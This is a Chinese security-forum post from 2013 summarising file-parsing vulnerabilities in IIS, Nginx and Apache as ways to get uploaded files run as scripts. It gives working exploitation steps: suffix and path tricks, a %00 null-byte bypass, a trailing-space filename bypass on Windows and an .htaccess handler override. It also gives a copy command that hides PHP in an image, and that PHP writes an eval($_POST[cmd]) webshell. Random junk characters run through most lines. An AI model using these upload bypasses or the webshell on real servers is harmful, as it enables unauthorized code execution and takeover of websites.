找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2694|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain  W' O( n& }  Z$ m' I: N
[+]IIS6.0: L7 y1 X" o# t, V7 {' E* s3 h- n  v

" w5 o6 I# t% ?- [8 M目录解析:/xx.asp/xx.jpg ( E; y9 I- {' b. O* v$ f1 W& K
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
8 H( ?- P. B) T. n' x IIS6.0 会将 xx.jpg 解析为 asp 文件。
1 |& X& T2 I' ~" c% s后缀解析:/xx.asp;.jpg     
0 P# L- R  B) Y6 }6 p1 g IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
" v5 [/ p1 X) x8 Q6 _8 L默认解析:/xx.asa  d; c0 S$ Z* P* }# u/ B
         /xx.cer5 E: Z& H1 E) N
         /xx.cdx
' J3 a1 `/ Y4 l. s9 {) z( }& D IIS6.0 默认的可执行文件除了 asp 还包含这三种( i* P5 B5 H+ T
此处可联系利用目录解析漏洞
" t- \' L" N7 }/ P- c/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
) w, A& i# G  `. Y[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
- H" u: p4 t$ ^7 h% A8 t
/ G" @, C9 e1 N, _/ u, R) }2 J$ s& b IIS 7.0/IIS 7.5/Nginx <0.8.03
! Z# ?0 m1 l  l+ q7 h5 O 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
2 z( `7 I4 P" u# T: X- x 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。+ k$ F! d. H# @7 C+ o
常用利用方法:6 _$ P$ C& d) [& }) l, t2 y. _3 Q
将一张图和一个写入后门代码的文本文件合并将恶意文本
. V" x. R9 ?3 g) m) B 写入图片的二进制代码之后,避免破坏图片文件头和尾7 C& e* g0 `9 U+ z& R( x7 k
如:+ b6 H* n& C: S, o1 j  L1 a
copy xx.jpg /b + yy.txt/a xy.jpg8 f- E& V% s# x9 {  f# F& I
#########################################################
5 F" x3 o! T2 Q" M* |& F /b 即二进制[binary]模式, R4 h& o. Q2 u# c4 \( F
/a 即ascii模式
4 u9 t. \5 f; S& D! s xx.jpg 正常图片文件
4 z- F& m7 D+ d& y( z yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),! p' L; I$ S" Q# I  ]
'<?php eval($_POST[cmd])?>');?>
% F  e7 x" p1 ?0 ~% ^ 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
  D5 w9 k* w+ O' b 为shell.php的文件
8 E$ s7 N6 n/ R6 o" B0 T2 e ###########################################################
8 V/ R* V/ N9 W" V5 ]9 H$ {4 c" ^ 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
9 l: K" q8 H8 d/ n3 O9 U 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
, R8 h$ E. d! x$ ^1 ^0 Y 密码 cmd
1 Q) D0 c. W, T; T7 h: O[+]Nginx <0.8.03. S% Z  H4 ?4 m1 {

/ k# i3 u4 w  F9 V+ N 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞
( {, ~- v7 ^5 A! Q 在一个文件路径(/xx.jpg)后面加上%00.php/ M; h" m8 v/ M/ y6 }
会将 /xx.jpg%00.php 解析为 php 文件。/ W( o# a0 w8 a7 M3 v
[+]Apache<0.8.03
2 F* j# @3 e8 n; {3 L# }1 }9 g) Z
. a  A9 ^5 g2 W% B; p 后缀解析:test.php.x1.x2.x31 j1 V$ V3 N/ g) C2 b  H+ o
Apache将从右至左开始判断后缀,若x3非可识别后缀,2 V; f3 U- `: d' q8 X" p& p
再判断x2,直到找到可识别后缀为止,然后将该可识别4 S( s  Y/ q. n, ^* X/ m; Y9 ^
后缀进解析test.php.x1.x2.x3 则会被解析为php1 u8 ?5 P5 k9 X2 b2 T
经验之谈:php|php3|phtml 多可被Apache解析。
& |: C7 x8 H! v# o5 u  y[+]其他一些可利用的* Z; ]5 W! S0 M. w

: k2 v4 a  @1 A$ ^0 K在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
7 f0 A2 s9 n/ K+ K* T0 u若这样命名,windows会默认除去空格或点,这也是可以被利用的!$ V% B7 q2 a* }
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
+ i3 M9 i8 M! f6 F: I或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可" z+ _6 Z; r  Q' q
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。! V* ?3 {& I/ ^1 I% i5 v
{Linux主机中不行,Linux允许这类文件存在}% x4 q5 Q+ ]3 p9 z9 G, p9 [
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说: D' f4 L6 _$ i+ p9 V( |! g
的,当初我并不知道),且可以被上传,那可以尝试在
7 R3 h$ |# h( v1 z( z. H. M) i.htaccess中写入:
# p" z2 K/ A1 E; c- ^, T3 T<FilesMatch “shell.jpg”>
, m3 e6 j/ u# M2 F  ?' g9 ^5 HSetHandler application/x-httpd-php ( ]4 B$ @! k/ j, {0 _& Y
</FilesMatch>; o7 {% ?/ ^, V5 l# h" O4 H' ?% v
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
% ^: ], B; Y. z: [[+]错误修改$ ^& b: k1 D6 A% X" Z: a5 ~- o
. e! @3 |6 W! H) q# V( z' f8 h/ M
在 IIS 6.0 下可解析 /xx.asp:.jpg8 b9 c" |! S$ g0 _, b
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去" p# \# ]# j. @  t" T
剩下/xx.asp}修改:
& u+ t# ], o# M  Y% z1 r0 D先谢谢核攻击的提醒8 Z0 K; C: @' s& ]8 M) A3 M; F
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp& k1 i, f1 g1 s+ v+ Q" k
里是没有任何内容的,因为。。不好解释 大家自己看
0 V$ ~: n. t7 o2 ?* y, ~$ {+ m* mhttp://lcx.cc/?i=24482 F" u6 p- C( F( O( f
http://baike.baidu.com/view/3619593.htm/ M! Z6 `; I1 y6 U0 |' J
2 K  n7 Q; T) j; m$ r$ u! }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表